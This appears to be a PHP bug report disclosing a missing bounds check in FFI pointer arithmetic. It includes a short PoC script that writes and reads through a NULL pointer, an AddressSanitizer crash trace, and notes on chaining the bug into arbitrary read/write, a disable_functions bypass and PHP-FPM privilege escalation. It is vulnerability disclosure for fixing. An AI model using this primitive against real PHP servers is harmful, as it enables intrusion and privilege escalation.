Description:
------------
After assigning an FFI array and casting it to a pointer, there isn't any boundary check for accessing memory. The casting can be done with arithmetic operation. Furthermore, since we can obtain its address by calling FFI::cast, we can calculate the offset difference to an arbitrary point, which leads to arbitrary R/W primitives.

As in previous versions' exploitation[1], it also can be used for calling vulnerable functions by constructing a zend_execute object. Also, if the victim is using PHP version older than 8.0.12, this can be used for triggering Privilege Escalation in PHP-FPM[2] (#81026, CVE-2021-21703)

We attached the NULL dereferencing segfault as PoC for this bug report with PHP + AddressSanatizer(ASan) build on latest php-src master branch.

[1] PHP 7.4 FFI - 'disable_functions' Bypass : https://www.exploit-db.com/exploits/48655
[2] https://bugs.php.net/bug.php?id=81026

Test script:
---------------
<?php
$a = FFI::new("unsigned char[1]");
$oob = $a+0;

// Either of followings works
$oob[-FFI::cast("uint64_t", $oob)->cdata] = 1;       // same as *NULL = 1;
printf($oob[-FFI::cast("uint64_t", $oob)->cdata]);   // same as printf(*NULL);


// Fullchain exploit that spawns zend_execute is available in https://github.com/Zerocution/PoC/tree/main/PHP

Actual result:
--------------
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1517591==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x559556e2b888 bp 0x7fff1e606470 sp 0x7fff1e606390 T0)
==1517591==The signal is caused by a WRITE memory access.
==1517591==Hint: address points to the zero page.
    #0 0x559556e2b887 in zend_ffi_zval_to_cdata /home/sqrtrev/php-src/ext/ffi/ffi.c:702
    #1 0x559556e30273 in zend_ffi_cdata_write_dim /home/sqrtrev/php-src/ext/ffi/ffi.c:1375
    #2 0x559557419d35 in zend_assign_to_object_dim /home/sqrtrev/php-src/Zend/zend_execute.c:1385
    #3 0x559557557f96 in ZEND_ASSIGN_DIM_SPEC_CV_TMPVAR_OP_DATA_CONST_HANDLER /home/sqrtrev/php-src/Zend/zend_vm_execute.h:44521
    #4 0x5595575913fb in execute_ex /home/sqrtrev/php-src/Zend/zend_vm_execute.h:58508
    #5 0x5595575937b3 in zend_execute /home/sqrtrev/php-src/Zend/zend_vm_execute.h:59037
    #6 0x5595573a3662 in zend_execute_scripts /home/sqrtrev/php-src/Zend/zend.c:1744
    #7 0x559557236eac in php_execute_script /home/sqrtrev/php-src/main/main.c:2534
    #8 0x55955776b97e in do_cli /home/sqrtrev/php-src/sapi/cli/php_cli.c:965
    #9 0x55955776dc07 in main /home/sqrtrev/php-src/sapi/cli/php_cli.c:1367
    #10 0x7f3585e140b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #11 0x559556c0199d in _start (/home/sqrtrev/php-src/zerocution/bin/php+0x40199d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/sqrtrev/php-src/ext/ffi/ffi.c:702 in zend_ffi_zval_to_cdata
==1517591==ABORTING